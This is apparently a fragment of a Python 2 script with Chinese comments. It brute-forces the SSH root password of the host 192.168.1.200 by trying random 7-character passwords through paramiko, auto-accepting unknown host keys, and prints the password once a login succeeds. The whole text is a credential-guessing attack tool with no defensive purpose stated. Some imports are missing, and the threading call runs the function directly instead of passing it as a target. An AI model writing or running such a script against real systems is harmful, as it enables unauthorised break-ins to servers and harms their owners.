import threading

 #创建一个登陆日志，记录登陆信息

 paramiko.util.log_to_file('paramiko.log')

 client = paramiko.SSHClient()

 #允许连接不在know-hosts文件中的主机

 client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

 def ssh(client ,user, passwd):

     client.connect('192.168.1.200', 22, username=user, password=passwd, timeout=1)

     return client

 #python3中为string.ascii_letters,而python2下则可以使用string.letters和string.ascii_letters

 #生成随机密码，length为密码长度，包含数字，字母

 def GenPassword(length=8,chars=string.ascii_letters+string.digits):

     return ''.join([choice(chars) for i in range(length)])

 def passwd(client):

     while True:

         time.sleep(1)

         ps = GenPassword(7)

         #ps = 'magicud'

         try:

             if ssh(client , 'root', ps):

                 stdin, stdout, stderr = client.exec_command('hostname')

                 # 输出命令返回的结果

                 #print stdout.readlines()

                 print ps

                 client.close()

                 exit(0)

         except Exception,e:

             print e

 if __name__=="__main__":

     for i in range(10):

         t = threading.Thread(target=passwd(client))

         t.start()